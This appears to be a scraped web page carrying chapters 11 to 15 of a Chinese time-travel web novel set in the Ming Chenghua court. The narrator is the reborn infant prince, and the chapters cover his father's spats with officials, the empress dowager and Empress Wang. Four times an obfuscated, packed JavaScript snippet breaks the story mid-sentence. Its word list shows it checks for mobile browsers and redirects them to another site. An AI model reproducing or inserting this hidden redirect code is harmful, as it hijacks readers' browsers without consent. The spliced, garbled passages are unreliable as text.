——你们夫妻商量事情那么随便,那么干脆的吗? 朱佑棱费力的转动小脑袋,准备来个“互动升级”。 朱佑棱松开流苏,小手转而抓住了万贞儿,正准备给他接着擦脸的一根手中,然后用力地往自己嘴里塞。 “诶呀,棱儿饿了?可不能吃娘亲的手指头。”万贞儿想抽回手,却又怕力道太大伤到他。 朱佑棱却紧紧抱着那根手指头,却不是真吃,而是选择用还没长牙的牙床轻轻啃着,一双大眼睛乌溜溜地望着万贞儿,发出满足的“哼哼”声。 ——美人娘亲,连手指头尖儿都是香香的呢。 不全是脂粉以及丹寇粉的香味儿,而是带着彷佛香草的味儿。应该是体香,不过不是天生,而是后天养成的。 “棱儿,乖,放开娘亲的手指头,娘亲的手指头可不能吃。”万贞儿声音更柔了,虽说朱佑棱还不会说话,但他的动作,其实都表达了自己对亲娘,全心全意的依赖。 软软糯糯的宝贝儿是她亲自生的,如何不让万贞儿那颗心仿佛被羽毛轻轻拂过,如喝醉酒般沉醉。 11. 第011章 朱见深当天就下达了册封圣旨,确立朱佑棱的太子之位。 尚在襁褓之中,被立为太子的,朱佑棱几个月大就被确立为太子,不算特殊。 不算出人意料,喜欢给皇帝挑刺,又有莫名坚持的御史台大夫们,并没有就册封圣旨的内容,朝朱见深发难。 朱见深惊讶,又不是那么惊讶。 金銮殿之上,朱见深上朝之时,还挺疑惑的问文臣。你们不是喜欢发癫吗,怎么不对朕册封太子一事发癫。 文臣:“......” 武将:“哈!” 其实朱见深也想笑,好悬忍住了笑意。 “既然无异议,那为了太子殿下,朕决议给太子殿下生母万氏提份位。就皇贵妃吧,众位爱卿以为何!” 武将们:“臣等无异议。” 文臣们集体哑然。 就说有什么在等着他们呢,感情是想要以退为进,册封万贞儿位皇贵妃啊。 幸好不是废后! 文臣们心中集体松了一口气,刚想说什么时,顿觉不对。 等等,他们为什么要思考废后的问题。 这...... 废一次就罢了,万万不能废两次啊! 脑洞过多,思想滑坡的诸位文臣赶紧开口,务必要让皇帝打消再次废后的念头。 时不时就有废后念头,但知晓必受阻碍的朱见深只是想想而已,从来没有付之行动。 如今文官们你一言我一语,都是劝诫自己不要轻易废后,朱见深先是懵逼,然后直接珉紧薄唇,凉凉的道。“朕是天子,朕只要下定决定,你们凭借你们轻飘飘的谏言,就能让朕改变主意?” “就这么说定了,母凭子贵,万氏进位皇贵妃,享副后待遇。” 享副后待遇,其实只是私底下的,并不好放在明面上。但朱见深就是将皇贵妃等同副后这样的说法,放在了明面上。 武将们依然嘻嘻哈哈,不觉得朱见深将自己心爱的女人捧上高位有什么问题,唯一的问题,大概就是朱见深的心爱女人年龄大了亿点点罢了。 而文官们则想得深远,但这个时候,已经不好开口了。 总归没有废后的意思,封万贞儿为皇贵妃,那就封好了。不要再劝谏了,万一朱见深这位皇帝起了逆反心思,执拗闹着要再次废后怎么办?总不能真的让万贞儿坐上皇后的宝座吧! 文官们你看我我看你,最终不约而同的选择恭贺朱见深有了继承人。至于万贞儿,文官们以前的印象是皇帝爱的老女人,现在嘛,多了一项就是,运气超级不错,居然还母凭子贵登上皇贵妃之位的老女人。 朱见深自觉达偿所愿,很高兴宣布下朝。而等朱见深离开金銮殿,才鱼贯而出大殿的文官们,才开始你挤兑我一句,我嘲讽你一句,反正就一个意思...... ——文官(言官)都擅长死谏,你咋不以死相逼,让皇帝改变主意呢! 四目相对间,闪耀相同的火光,武将们从旁经过,还能听到他们粗狂的笑声。 “嘿,这群田鸡儿吵吵闹闹的,改日定要将他们全部捉了做成一道菜。” “啧,什么菜?当然是暴炒田鸡了。” 文官们:“......” 面面相觑间,火气一下子没了。 “他是在说我们吧。” “显而易见。” “嘿,这武侯,是想挨揍不成?” “你打不过他。” “嘿,你这糟老头子什么意思?” “百无一用是书生啊!” 被骂糟老头子的李贤摇头晃脑的走了。果然当官的都狠,骂人的时候,可以连自己都骂进去,就为了胜对手一筹。 不提金銮殿外面太极广场所发生的趣事儿,朱见深几乎以飞一般的速度,跑去安喜宫找她心爱的万姐姐汇报喜讯了。 然鹅万贞儿其实并不为此感到高兴,甚至有点儿心酸。 她本来就该是朱见深的正妻,而这也是朱见深许诺的。结果周太后和文武百官齐齐反对,说皇帝的正妻是寡妇再嫁都可以,但绝对不能是年龄比皇帝都大了一轮的老女人,即便这老女人国色天香,比起青涩的二八佳人更有风情。 万贞儿眨眨美目,下一刻眼泪直接流了出来。 “深郎对我的情谊,我啊,无时无刻都感受到了。”万贞儿动情无比的说,还用手帕慢慢的拭去眼角泪水。 “深郎就如此好了。”万贞儿又道。“有棱儿在,百年之后是我和深郎合葬。只要这样一想,那我又有什么不满足的。” “哪怕没有棱儿,百年之后依然是贞姐与朕合葬。”朱见深也开始表达自己的决心。 “不管吴氏还是王氏,都没有资格与朕合葬,唯有贞姐才配。” 帝妃二人又开始腻腻歪歪,而且还当着朱佑棱的面。 还有...... 皇后不能废第二次?赵祯表示自己有话要讲! 要他说,人家怂朝在立皇后这点多随心啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16581674|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不止有几度废后的皇帝,还有娶二婚女当皇后的呢。 咋他小亲爹,就没想过豁出去,和文官们耍赖也要捧美人娘亲登上皇后宝座啊。 区区皇贵妃之位,还是找了‘母凭子贵’的借口,才让美人娘亲从贵妃进位成皇贵妃。 朱佑棱心中吐槽不已,圆溜溜的眼睛左看右看。窗前悬挂的风铃,随着风吹过的痕迹,叮当作响。 小翠和小红端着果盘进殿,摆放好后,就守在殿门口打络子。 朱佑棱如今已经穿来有一段时间了,原本看人除美人娘亲外,其他人都是打了马赛克的一坨,包括小亲爹在内。 现在呢,朱佑棱稍微看得清楚一点点,但其实依然挺模糊的。朱佑棱就学会了听声音分辨。 这不,小翠惯爱穿绿衣,就是一团绿色的马赛克,小红呢,喜欢穿粉色的衣服,看起来就是一团粉色的马赛克。 朱佑棱可以清晰的‘看’到,小翠丢下打了一半的络子,迈着模糊的方块步子挪到了他的面前。 朱佑棱眨眨眼间,试图看清楚小翠的长相,嗯,五官没有移位,自己双眼果然没有任何问题。 这时候,恰好帝妃二人腻歪完,万贞儿走过来,从小翠怀中接过朱佑棱。 朱佑棱干脆趁机再次仔细观察万贵妃。 此刻,她低垂着眼眸看他,长长的睫毛在眼睑下投下一小片阴影,眼神里是纯粹的关切和慈爱。 “咦,贞姐。”朱见深黏糊糊的蹭了过来。“朕感觉棱儿胖了少许。” “是胖了。” “这应该就是传说中的贴秋膘。”朱见深笑嘻嘻的道。“朕感觉朕最近也胖了,朕和棱儿果然是俩父子,连贴秋膘都一起贴。” 朱佑棱:“......” 就在这时,殿外传来一阵略显急促却刻意放轻的脚步声。 “娘娘,万岁爷!” 一个穿着褐色袍子、体型微胖的“高清”人影走了进来,声音尖细却带着恭敬。 “太后食欲不振已有数日,今儿用膳时,吐了。” 万贞儿诧异,刚想开口说什么时,就听朱见深惊恐万分的说。“母后怀孕了?天啊!母后怎么敢的!” 朱佑棱:“......” 万贞儿:“......” 安喜宫全体宫人:“......” 听见没听见没! 朱佑棱内心尖叫鸡,这才是真正的带孝子。有朱见深这么个儿子,真是周太后的福气。 12.第012章 周太后却不觉得是福气。 事实上,周太后得知自己吐了,亲儿子朱见深得知后的第一个反应居然是她怀孕,只恨不得就此昏厥过去。 然鹅她的身体,保养得很不错,即便因为食欲不振,胃胀气不舒服导致呕吐,又被自己生的带孝子狠狠的气了,周太后依然坚强的没有就此君爵,并且还精神百倍儿。 “哀家到底造了什么孽,生下这么个玩意儿。”周太后只差哭着去跪太庙。 “他是想逼死哀家啊!” “万岁爷或许只是口误。” 伺候的老宫女试图宽慰周太后,让她不要想太多,朱见深就是有口无心,下意识这么认为而已。 毕竟当初万贞儿怀朱佑棱的时候,也是吐得十分厉害。朱见深见惯了,也对女人怀孕会孕吐,食欲不振等情况有了了解。 听到周太后食欲不振,今儿还吐了,不就周太后怀孕方向想嘛。再者周太后和万贞儿同一年的生辰。 万贞儿三十六岁时,能够怀孕生下朱佑棱,自然周太后也能...... 朱见深摸摸鼻子,觉得周太后太过敏感,不就是口误。再者大明后宫等级森严。 周太后作为太后,又没有管理后宫的实权,导致她的很多命令,其实出不了慈安宫。 即便周太后守寡后寂寞难耐,也只能找到太监对食,要想私通侍卫淫|秽后宫,那是不可能的。 周太后气朱见深污蔑她的清白,又哭又闹还砸摆设。本来朱见深都来安慰她,顺便认错,可看周太后愤怒的架势,朱见深觉得自己...大概会被揍一顿。 朱见深开始犹豫了,他甚至挺后悔,觉得自己选择来安慰周太后的时间段不对,该换个时间段来的。 幸好万贞儿跟着一块儿来,她上前几步,把朱见深挡在身后。 “太后娘娘。”万贞儿说话道。“臣妾来看你了,听说你食欲不振,还被晚膳恶心得吐了,臣妾想着臣妾怀孕之时喜欢吃的酸辣黄瓜,最是开胃不过,就特意让擅长这手艺的小红帮忙制作了一碟酸辣黄瓜。” 说罢还招了招手,示意宫娥将‘特供’周太后的酸辣黄瓜端上来。 万贞儿口中的酸辣黄瓜,其实就是腌的酸黄瓜,吃的时候拌上芥末酸辣爽口,挺适合孕妇害喜的时候吃。 当初万贞儿就是靠着这道小菜,撑过了孕吐。 是道好菜,问题是周太后不是害喜啊,她就是单纯的心情不好导致的肠胃不适。 万贞儿这一手,真的分外狭促。 周太后顿时气懵了。 她总是这样,在不该聪明的时候聪明,该聪明的时候又蠢笨不堪。 周太后聪明的懂得万贞儿如此,绝对不安好心,就想发作。然鹅她生的带孝子,根本就没有给她发作的机会,当即说道。 “母后听见没,贞姐多关心你啊。母后赶紧尝尝,免得腹中饥饿,又吐了就不好了。” 周太后捂住胸口,人开始颤抖。 “你们俩是想气死哀家。” “母后你怎么能这样说?贞姐关心你的身体,才将自己孕期喜欢吃的小菜拿出来,让母后你也能开开胃提高食欲。” “母后,这是为你好呢!” “哀家没有怀孕。”周太后摔桌子强调。 “没说你怀孕。开胃小菜,本就不独孕妇才能吃。”万贞儿笑着盈盈的道。“太后娘娘你胃口不好,也是可以吃的。” 朱见深‘躲’在万贞儿身后,鬼鬼祟祟的探出脑袋。“对啊母后,你不能无理取闹,曲解贞姐和朕的孝心。” “给哀家滚!” 周太后暴躁,结果下一刻,肚子居然‘不给面子’的咕咕叫了起来。 顿时,场面变得异常尴尬。 万贞儿勾唇,隐晦的笑。而朱见深这憨憨呢,则幽幽的提醒。“母后,你肚子在响,它说饿了。” 周太后:“......” “人闹闹,就活动了。既然活动了,那就会肚子饿。太后娘娘想必不适应臣妾和万岁爷在场,那...我们这就走,太后娘娘慢慢吃,可一定要吃饱,免得又饿得连进食的欲望都没有了。” “你......” 周太后颤抖双手,还想再说什么,只见她生的带孝子动作时候迅速的拉起万贞儿就走,根本就没有留下来陪她用膳的意思。 “先前太后娘娘,你让万岁爷滚。” 伺候带孝子的太监,跟着撤退的时候,还不忘提醒周太后一句。这下子周太后直接崩溃的哇哇大哭。 “哀家真的,到底造了什么孽,才生下皇帝这么个儿子。” 伺候的宫人都不敢随意接话,索性就让周太后哭。 周太后呢,也算没有哭多久,大概也就半个时辰左右,总算不哭的周太后开始享用膳食。 嘿,别说,被气得险些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16584026|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸肝儿,又哭了好一会儿,导致周太后胃口大开。平日里只吃小碗米饭,今儿居然吃了一大碗,还啃了一根炖得烂熟的猪蹄。 消息传到安喜宫,万贞儿先是憋不住,疯狂的哈哈哈一番,末了等朱见深下朝来安喜宫报到时,很是由衷的感叹。 “瞧瞧,太后娘娘食欲大开,居然连一贯嫌弃油腻的猪蹄,都能整个吃下。” 万贞儿捂嘴偷笑,挺有少女感的说话。 朱见深呢,居然没有听出来有哪里不对,重重点头附和。 “母后活动了,果真胃口大开。”朱见深还比划起来。“以前母后只吃这么多的米饭,还曾经饿晕过。” “先帝爷好细腰。”万贞儿倒是知晓这事儿。她当初落选,除了误食东西,导致出很多疙瘩小红点,颜值下滑严重外还有腰身不能被盈盈一握。 不过各有各的缘法,当初的她,估计也没有料到自己的缘分居然没有在先帝的身上,而是在小她17岁的朱见深身上。 “太后娘娘未生深郎的时候,腰肢很细,生下深郎后就粗了一圈。太后娘娘那时候唯恐失宠,就开始控制食欲,只为减出让先帝爷满意的‘盈盈楚腰’。” 就万贞儿知晓的,周太后把自己饿晕的次数不止1次,而是多次。次数多了,当时的孙太后自然觉得周太后照顾不好朱见深。可以说朱见深和周太后的母子感情并不深厚。 而对于万贞儿这从小照顾他长大的人,却又是各种情感交杂,复杂得很。 反正周太后在朱见深的心中,是万万比不了万贞儿的。甚至很多时候,朱见深的情绪,都会被万贞儿轻易牵动。 就像朱见深清楚的知道,万贞儿不是良善人,甚至称得上心狠手辣。如果万贞儿不心狠手辣,手段非常的话,朱见深也不可能平平安安长大,并且顺利继承了皇位。 朱见深对万贞儿一往情深,是长年累积的情感。朱见深比任何帝王要好的一点在于,他从来都不觉得万贞儿心狠手辣有什么问题。 甚至于,万贞儿对周太后的态度,朱见深也觉得实属正常。朱见深清楚的明白,他的生母周太后实属不怎么聪明。 可以荣养,享受荣华富贵,但绝对不能掌权。如果宫权落在周太后手中,那么朱见深的后宫绝对会超级乱。 再者朱见深也不信任自己的皇后,他只信任万贞儿,所以不管朱见深的哪任皇后在位,凤印都在万贞儿的手中。 13.第013章 如今的坤宁宫,不是冷宫,更胜冷宫。甭说朱见深平日不会来,即便初一、十五这样的日子,朱见深可不会轻易踏足坤宁宫,用朱见深的话来说就是,坤宁宫阴气森森,一点都没有万贞儿所住的安喜宫温暖。 不过今儿朱见深在安喜宫陪伴心爱的万姐姐享用午膳后,还是不情不愿的准备踏足坤宁宫。 “皇后娘娘,万岁爷朝咱们坤宁宫来了。” 王氏原本呆坐在软塌,身上搭着毛毯,看似呆滞,实则的确呆滞。银柳的喊话声,王氏很久才回过神来。 “万岁爷来了?” 顿时王氏那呆滞的神色瞬间收敛,绽放出明媚的笑容。那是一种掺杂着不可置信以及期待的光彩。 “快,给本宫看看,妆容可还整齐?” 她一边说着,一边下意识准备调整一下发髻上的步摇。结果发现自己并没有佩戴步摇。 赶紧让宫娥将首饰盒打开,取出一支喜鹊登枝金步摇簪上。随后又取出胭脂香膏扑面,借此掩盖憔悴。 别看这一连串的动作繁琐,实则很快速就搞定了。等体型微胖,腮帮其实还带着点婴儿肥的朱见深到来,王氏已经重新打扮了一遍。 “皇后...”朱见深板着脸,努力让自己显得不怒而威。但到底年轻,微胖体型的朱见深并没有显得很严肃,只让人觉得他在生气。 “你去了母后那里?” 王氏错愕,脸上的惊喜还未展开,就已经消失得无影无踪。 “不要做多余的事情。”朱见深冷酷的说。“朕可以废后一次,就可以废后二次。即便言官们不同意又如何?皇后无子亦无德,没有资格坐稳皇后的宝座。” 王氏瞬间惨白无色。 “万岁爷今儿来坤宁宫,是特意来警告臣妾的。”王氏维持冷静,尽量不哆嗦的说话。“臣妾不知臣妾哪里失责,让万岁爷不顾体面亲自来指责臣妾。” “皇后......”朱见深没有解释,而是强调。“...凤印在贞姐的手中。” 后宫在万贞儿的掌控之下,其实王氏真能动手脚,又能动多少呢。和周太后犯的错一样,王氏只不过是知晓有人会对朱佑棱下手,选择冷眼旁观罢了。 人之常情,但是呢,擅长迁怒的帝妃两人组,从来不从自身找原因。帝妃二人组就是觉得,敢隐瞒谋害皇嗣的凶手,罪大恶极。 朱见深不太想王氏继续在皇后的位置上坐着。而万贞儿想着自己年龄是硬伤,王氏被废后自己多半登不上皇后的宝座。与其让陌生人当朱见深的第三任皇后,还不如让王氏继续在皇后的位置上坐着。 反正万贞儿有信心将王氏拿捏得死死的。再者,不是有朱见深‘施压’嘛。今儿朱见深此行的目的就是这个,不然以为朱见深来干嘛。 自然为的,不让王氏抱有一丝的幻想。如果想要维持皇后的体面,不去冷宫住,那么就乖乖的,当他的傀儡皇后。 王氏听懂了朱见深的意思,心也凉得透透的。 “臣妾谨遵圣意。” 王氏惨白着脸表明自己的态度,心这一刻不止凉得透透的,还死得毫无声息,没有恢复的可能性。 “明白就好。记住了,你没事就去多陪陪母后。”朱见深开口道。“母后一个人挺寂寞的,你去陪伴母后,也算打发了时间。” 说罢,朱见深自觉达到了目的,就直接走了,根本就没有留下来过去的意思。 而朱见深一走,王氏肉眼可见的垮了肩膀,然后一屁股坐在地上,不顾礼仪的嚎嚎大哭起来。 她是真的伤心,毕竟朱见深的行为,真的称得上‘渣’。 银柳不好劝,阖宫上下谁不知皇帝的心在哪儿。心在万贵妃那儿。万贵妃又是厉害角色,如今借着皇太子差点中毒一事,在后宫搅风搅雨。 银柳不去特意打听消息就能猜到,只要皇后娘娘不被废,哪怕皇后娘娘没有实权,和尊贵的摆件没什么不懂,喜欢搞‘死谏’的言官们,都不会为皇后娘娘说话。 与其崩溃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16590928|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吵闹,导致真的被废,下场凄惨,还不如老老实实接受,最起码去住冷宫不是。 银柳这样想,也是这样宽慰王氏的。 可宽慰没多久,就有盯着冷宫的宫娥来说,吴氏出了冷宫,还得了吴嫔的封号。 王氏擦干眼泪,从地上站起身来。 “她倒是运气。” “奴婢觉得,或许不是运气,而是......”银柳支支吾吾的说。“皇后娘娘可还记得,那汪总管曾经去过冷宫。说是为了‘请’柏氏去东厂问话,谁知道汪总管有没有和吴嫔说什么。” 王氏挺赞同银柳的观点,但一开始就下意识的告诫。“这些话不要去外面说,你知道本宫目前的处境,哪怕未来,本宫都没有能力护住你。” 显然是想起金红了。 银柳也想起了自己的姐妹,眼眶儿一红,险些落泪。 “金红她太傻了,那婆子明显接近她不怀好意,她怎么就动心掺和进了那要命的事情中呢。” 如今金红被关在东厂大牢,没有死,下场却比死好不了哪儿去。就东厂那些太监折磨人的手段,真的耸人听闻,闻之色变。 “奴婢打听过了,只要金红老实交代,不会要了她的命。”不过下场却是被充入教司坊。 银柳擦掉眼泪,“皇后娘娘,你说怎么能这样欺负人啊。那大皇子殿下差点被害,皇后娘娘你也不知道,怎么就能迁怒到皇后娘娘的头上。” “知情不报。” 王氏苦笑,然后‘警告’银柳。“你快别这样说,你要是再出事,那本宫身边就没有可信人了。” 银柳赶紧闭嘴,低头的瞬间眼泪夺眶而出。 “皇后娘娘先休息吧,一会儿还要去太后娘娘那里。” 朱见深的吩咐,即使万般不情愿,也要去做,而且还是高高兴兴的去做。可以预见的是,周太后面对只有点小聪明,蠢而不自知的王氏有多崩溃。 周太后:哀家真的不需要人陪伴。特别是蠢货的陪伴! 14.第014章 成化二年(公元1466年)的气候,算是不错的。开春时候下了一场小雪。瑞雪兆丰年,预示着一年的收成都会很不错。 至于朱佑棱的出生,是在阳春三月。倒是没有下雪,淅淅沥沥的下了一场细雨。 当时正值天亮,灰蒙蒙的苍穹染上晨辉,也就给朱佑棱的出生,带来一丝神秘光彩。 万贞儿心不大,但却是个疼爱崽崽的绝佳娘亲。没有编造拥日入怀的胎梦,但是却说了自己怀上朱佑棱之时,连续几日做了小白蛇圆头圆脑,跟在她屁股后面转悠的胎梦。 其实很多妇人怀孕之时,都会做胎梦。梦蛇其实很平常,唯一不平常的大概就是颜色。 再者万贞儿的身份,她生的不管男女,都能子凭母贵。儿子是皇长子,女儿则是皇长女。 都尊贵得很,只不过如果是皇长子,朱见深更有借口让万贞儿母凭子贵登上高位。 如今深秋已至,秋风瑟瑟,早上起来,已经感觉到冷气袭来。朱佑棱被裹了一层又一层,原本摆脱束缚的朱佑棱再次感受到手手脚脚,不属于他的憋屈感。 朱佑棱努力转动小脑袋,想要看清楚周围的环境。结果,裹得太厚,导致朱佑棱脑袋能转动,但是抬起来很费劲。 朱佑棱努力再努力,体型微胖的朱见深走过来,看到朱佑棱努力探出脑袋的样子,顿时乐坏了。 “瞧瞧这动作,就和小龟鬼鬼祟祟努力探出龟壳一模一样。” 朱佑棱:“......” 第二次了,他第二次说他像小乌龟。 朱佑棱顿时垮脸,当即就给朱见深表演了一个嚎嚎大哭。 “深郎。”万贞儿哭笑不得,“棱儿是小龟,你又是什么?” 这话挺不客气的,但朱见深就是不生气,他摸着鼻子,笑得有几分尴尬。 “贞姐,棱儿自从病好后,朕就苦思想要给棱儿取个小名儿,不如叫龟寿如何?” “嗷!” 不好! 朱佑棱憋得小脸通红,拒绝小名叫龟寿。 万贞儿到底和朱佑棱母子连心,朱佑棱肢体都写满抗拒,将自己小脸都憋得通红的模样儿,顿时让万贞儿明白,朱佑棱这是拒绝。 “算一个吧。我可不信深郎只想了这么一个小名。” “鹤归(龟)?” “深郎这是和‘龟’过不去了?” “是归来的归,不是乌龟的龟。”朱见深解释,还顺便点赞自己的机智。 幸好灵机一动,将‘龟’改成‘归’,不然的话,估计朱佑棱会哭的更加大声。 瞧现在,朱佑棱不就停止干嚎,目不转睛的瞅着人嘛。 “贞姐你看,棱儿也很满意鹤归这小名儿。” 相较龟寿,当然鹤归这小名更好啦。不过话说回来,朱佑棱是真的很怀疑,其实不是朱见深想的。主要大明历任大明皇帝的文化素养,根本不可能取这样的小名。 恰好万贞儿也是这么觉得的。 但她没有揭穿,因为完全没有必要。再者鹤归和龟寿相比,的确鹤归这个名字好听一点,而且寓意也很好。 万贞儿表扬道。“深郎给棱儿取的小名真好听。” 一听这话,朱见深顿时眉飞色舞,好不高兴。 帝妃二人的气氛一下子又黏糊起来。被裹得像红包的朱佑棱这回连白眼都懒得翻。 朱佑棱瞪圆眼睛,呆呆的望着天花板,心中开始数绵羊。一只两只三只......等朱佑棱数到一百三十五只的时候,眼睛一闭睡着了。 之后的日子,皆是如此,朱佑棱吃了睡了吃。天气一天天的变冷,朱佑棱被裹得严严实实,不是不爱动弹,而是不能动弹。有时候朱佑棱都觉得自己已经变成木乃伊娃娃,也就越发的懒得动弹。就这样朱佑棱艰难的熬过了成化二年冬,来到成化三年春。 刚入春不久,扬州那边传来不好的消息,说是盐贩造反,导致盐价一路飙升。 也是在这一月,原本就时不时骚扰边境的鞑靼,开始频繁出现,侵扰边境安宁。 朱见深对此很是生气,他否决了官员提出的安抚策略,直接要求边境军户全力抗击鞑靼,决不能让土木堡之变再次发生。 要知道土木堡之变后多带来的动荡,经过多年才基本消弭,如今鞑靼又开始频繁侵扰边境,很难不怀疑他们想要大明再出一位‘叫门’天子。 “朕觉得文官们给父皇的谥号,就是一种侮辱。” 朱见深委屈满满对万贞儿说。“‘英宗’?父皇哪怕配得上‘英’这样的谥号。” 万贞儿:“...好啦,深郎别气了,只要不学先帝爷御驾亲征,相比边境将士能很好的杀敌拒鞑靼至关外。” “还是贞姐懂朕。朕就是觉得......”朱见深抽抽鼻子,继续埋汰人。“朕现在的大臣们,一个个就跟听不懂人话似的。连打仗最需要什么都说不出来。” 岂是不知道,分明就是怕多说多错。打仗嘛,最紧需的,永远都是精良的武器盔甲以及充足能让将士填饱肚子的粮草。 两者缺一不可,但在缺衣少食的情况下,哪怕拥有再精良的武器盔甲,将士的战斗力也会大打折扣。 “鹤归睡着了?” 由于还是初春,天气乍暖还寒。作为小孩子,快一岁的朱佑棱依然被裹成一个球。 现在的他,偶尔嘴巴里会蹦出几个单词,但依然不怎么会说话。所以朱佑棱还是不怎么开口,除非小亲爹把他惹到了。 朱佑棱睡着了,在万贞儿的怀中。 万贞儿一边轻轻拍着昏昏欲睡的朱佑棱,一边顺着朱见深的话道。“那些大臣,无非是怕担责任。粮草军饷,哪一样不要银子?户部喊穷,兵部要钱,他们自然能推就推,能拖就拖。” 朱见深像找到了知音,立刻抱怨:“贞姐你说得对!朕一提增拨军饷,他们就跟朕哭穷,说什么去岁各地亦有灾情,国库空虚。可万一鞑靼打进来,损失的何止这点军饷!” 被吵醒的朱佑棱眼睛依然紧闭,却在心里默默点了个赞。 小亲爹这话说到点子上了,打仗打的就是后勤和钱。 文官集团嘛,大部分时候都是□□派,怕打仗影响稳定,也怕武将借此坐大。 万贞儿轻笑一声,语 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16594153|187261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气带着几分不经意的犀利。 “他们呀,是觉得边境打打杀杀,离京城远着呢,扰不了他们的清静日子。深郎何必与他们置气,气坏了身子不值当。既然他们说不出个所以然,深郎何不直接下旨,命户部、兵部限期筹措,若有延误,唯他们是问。再让东厂和锦衣卫的人同时盯着点,看谁敢阳奉阴违。” 朱佑棱:美人娘亲,您这招真的又狠又直接,不愧是掌控整个后宫,将小亲爹拿捏得狠狠的万贵妃。 “对!贞姐说的对。朕倒是忘了,朕手中并非没有辖制他们的势力。” 朱见深高兴的来回走了几圈。 “就这么办!朕倒要好好看看,朕这样做了,他们还敢不敢敷衍朕!” 朱见深的心情,肉眼可见的变好不少。 然后......就开始犯贱! 这不,心情舒畅不少的朱见深,又凑过来看朱佑棱,“哟,朕的鹤归也醒着呢?你说父皇这主意好不好?” 朱佑棱:“......” 朱佑棱睁开眼睛,努力眨巴着,对着朱见深的方向“啊”了一声,顺便吐了个泡泡。 “哈哈哈,贞姐你看,鹤归也说好!” 朱见深龙心大悦,觉得儿子果然聪慧,小小年纪就懂得支持父皇。不愧是他心爱的贞姐给他生的。 万贞儿也被逗笑,拿出丝帕给朱佑棱擦口水,嗔道:“你呀,这么小,就知道哄你父皇开心了,可真是孝顺。” 她抬头又对朱见深说,“深郎既已决断,便早些去安排。国事要紧,棱儿这儿有我呢。” 朱见深点点头,又恋恋不舍地摸了摸儿子软乎乎的脸蛋,这才起身准备离开。走到门口,他又想起什么,回头道:“贞姐,如今春日天气反复,你与鹤归都要仔细身子,莫要着凉。朕晚些再来看你们。” “深郎放心。” 万贞儿柔声应道。 待朱见深走后,殿内恢复了宁静。万贞儿抱着朱佑棱轻轻摇晃,哼着不成调的小曲。 朱佑棱靠在母亲温暖的怀里,重新变得昏昏欲睡。 成化三年的开局,不算太平。内有盐贩造反影响民生,外有鞑靼扰边威胁关内。 朱见深这位帝王,虽然有点“妈宝”倾向,依赖万贞儿,但在维护国家主权上倒还算有点魄力,没一味想着怀柔。 而万贞儿,不仅在后宫手段了得,对前朝军政似乎也能插上话,并且思路清晰,直指要害。 这对帝妃,一人掌舵稳坐前朝,坚持己见,不会轻易被文官们忽悠,一人在旁出谋划策兼稳定大后方,果然不愧为真爱。 只是,树大招风。 朱佑棱心思清明,清楚明白,他的美人娘亲越是得宠,越是能影响皇帝爹的决策,恐怕恨她、忌惮她的人就越多。 而他这个皇长子,是美人娘亲的唯一软肋,不敢对付美人娘亲,那么仇恨怕是全部集中在他身上。 ——果然还是得快点长大啊。 朱佑棱打了个小哈欠,在万贞儿有节奏的轻拍下,再次沉入梦乡。 ——长大,才能有自保之力,才能改变一些,自己想要改变的。 15.第015章 朱见深开始和文官们吵架,而且连续吵了好几天。这几日只要一上朝,朱见深和官员们说不到几句话,就必发生争论。 朱见深一开口,说自己要增加军饷,户部官员立马哭穷,说年景不好,赋税收得不多,国库没钱。 朱见深:“年景不好?赋税收得不多?国库没钱?” 朱见深发出一连串的冷笑。 “尔等欺辱朕年轻?认定朕不懂民生?去年各地知府县令上的折子,可都说风调雨顺,没有天灾发生。” “如今尔等说国库没钱,因为去年年景不好,所以收的赋税不多。尔等让朕怎么相信?” 朱见深越说越激动,越说越气愤,以至于直接‘啪嗒’的将旁边奉茶太监端着的茶盏拿过来砸了。 “尔等还当朕是皇帝?”朱见深冷声问。“?李贤?李爱卿,你来说说,去年当真年景不好?” 被点名的?李贤?无奈从内阁班子中走出。 